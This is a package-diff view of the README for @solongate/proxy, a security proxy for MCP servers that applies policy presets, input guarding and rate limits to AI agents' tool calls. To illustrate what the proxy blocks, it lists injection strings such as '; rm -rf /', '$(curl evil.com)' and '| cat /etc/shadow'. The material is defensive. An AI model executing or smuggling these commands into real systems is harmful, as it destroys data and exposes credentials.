@solongate/proxy 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +136 -0
- package/dist/index.js +1852 -0
- package/dist/init.js +275 -0
- package/package.json +65 -0
package/README.md
ADDED
|
@@ -0,0 +1,136 @@
|
|
|
1
|
+
# @solongate/proxy
|
|
2
|
+
|
|
3
|
+
**MCP Security Proxy** — Protect any MCP server with security policies, input validation, rate limiting, and audit logging. Zero code changes required.
|
|
4
|
+
|
|
5
|
+
```
|
|
6
|
+
Claude ──(stdio)──> SolonGate Proxy ──(stdio)──> MCP Server
|
|
7
|
+
│
|
|
8
|
+
[rate limit]
|
|
9
|
+
[input guard]
|
|
10
|
+
[policy eval]
|
|
11
|
+
[audit log]
|
|
12
|
+
```
|
|
13
|
+
|
|
14
|
+
## Quick Start
|
|
15
|
+
|
|
16
|
+
### Automatic Setup
|
|
17
|
+
|
|
18
|
+
Run this in your project directory (where your `.mcp.json` lives):
|
|
19
|
+
|
|
20
|
+
```bash
|
|
21
|
+
npx @solongate/proxy init --all
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
Restart Claude Code / Claude Desktop. Done.
|
|
25
|
+
|
|
26
|
+
### Manual Setup
|
|
27
|
+
|
|
28
|
+
Edit your `.mcp.json`:
|
|
29
|
+
|
|
30
|
+
```json
|
|
31
|
+
{
|
|
32
|
+
"mcpServers": {
|
|
33
|
+
"my-server": {
|
|
34
|
+
"command": "npx",
|
|
35
|
+
"args": [
|
|
36
|
+
"@solongate/proxy",
|
|
37
|
+
"--policy", "restricted",
|
|
38
|
+
"--",
|
|
39
|
+
"node", "./my-server/dist/index.js"
|
|
40
|
+
]
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
## Policy Presets
|
|
47
|
+
|
|
48
|
+
| Preset | Description |
|
|
49
|
+
|--------|-------------|
|
|
50
|
+
| `restricted` | Blocks shell/exec/eval, allows reads and writes **(recommended)** |
|
|
51
|
+
| `read-only` | Only allows read/list/get/search/query operations |
|
|
52
|
+
| `permissive` | Allows all tools, still enforces input validation |
|
|
53
|
+
| `deny-all` | Blocks all tool calls (emergency lockdown) |
|
|
54
|
+
|
|
55
|
+
## What Gets Blocked
|
|
56
|
+
|
|
57
|
+
**Input Guard** (always active):
|
|
58
|
+
- Path traversal: `../../etc/passwd`
|
|
59
|
+
- Shell injection: `; rm -rf /`, `` `whoami` ``, `$(curl evil.com)`
|
|
60
|
+
- Pipe injection: `| cat /etc/shadow`
|
|
61
|
+
- Oversized inputs (DoS prevention)
|
|
62
|
+
|
|
63
|
+
**Policy Engine** (configurable):
|
|
64
|
+
- Shell execution tools (`shell_exec`, `run_command`, etc.)
|
|
65
|
+
- Eval/exec tools
|
|
66
|
+
- Web fetch (data exfiltration prevention)
|
|
67
|
+
- Any tool matching your custom patterns
|
|
68
|
+
|
|
69
|
+
## Custom Policies
|
|
70
|
+
|
|
71
|
+
Create a JSON policy file:
|
|
72
|
+
|
|
73
|
+
```json
|
|
74
|
+
{
|
|
75
|
+
"id": "my-policy",
|
|
76
|
+
"name": "My Custom Policy",
|
|
77
|
+
"version": 1,
|
|
78
|
+
"rules": [
|
|
79
|
+
{
|
|
80
|
+
"id": "deny-exec",
|
|
81
|
+
"effect": "DENY",
|
|
82
|
+
"priority": 100,
|
|
83
|
+
"toolPattern": "*exec*",
|
|
84
|
+
"permission": "EXECUTE",
|
|
85
|
+
"minimumTrustLevel": "UNTRUSTED",
|
|
86
|
+
"enabled": true
|
|
87
|
+
},
|
|
88
|
+
{
|
|
89
|
+
"id": "allow-rest",
|
|
90
|
+
"effect": "ALLOW",
|
|
91
|
+
"priority": 1000,
|
|
92
|
+
"toolPattern": "*",
|
|
93
|
+
"permission": "EXECUTE",
|
|
94
|
+
"minimumTrustLevel": "UNTRUSTED",
|
|
95
|
+
"enabled": true
|
|
96
|
+
}
|
|
97
|
+
]
|
|
98
|
+
}
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
```bash
|
|
102
|
+
npx @solongate/proxy --policy ./my-policy.json -- node my-server.js
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
## CLI Options
|
|
106
|
+
|
|
107
|
+
```
|
|
108
|
+
solongate-proxy [options] -- <server-command> [args...]
|
|
109
|
+
|
|
110
|
+
Options:
|
|
111
|
+
--policy <preset|file> Policy preset or JSON file (default: restricted)
|
|
112
|
+
--name <name> Proxy display name
|
|
113
|
+
--verbose Show detailed error messages
|
|
114
|
+
--no-input-guard Disable input validation
|
|
115
|
+
--rate-limit <n> Per-tool rate limit (calls/min)
|
|
116
|
+
--global-rate-limit <n> Global rate limit (calls/min)
|
|
117
|
+
--config <file> Load full config from JSON file
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
## Restore Original Config
|
|
121
|
+
|
|
122
|
+
```bash
|
|
123
|
+
npx @solongate/proxy init --restore
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
## Why SolonGate?
|
|
127
|
+
|
|
128
|
+
MCP servers give AI agents direct access to your system — shell commands, file system, databases, network. A single prompt injection attack can turn your AI assistant into an attacker.
|
|
129
|
+
|
|
130
|
+
SolonGate sits between the AI client and the MCP server, enforcing security policies on every tool call before it reaches the server.
|
|
131
|
+
|
|
132
|
+
Learn more at [solongate.com](https://solongate.com)
|
|
133
|
+
|
|
134
|
+
## License
|
|
135
|
+
|
|
136
|
+
MIT
|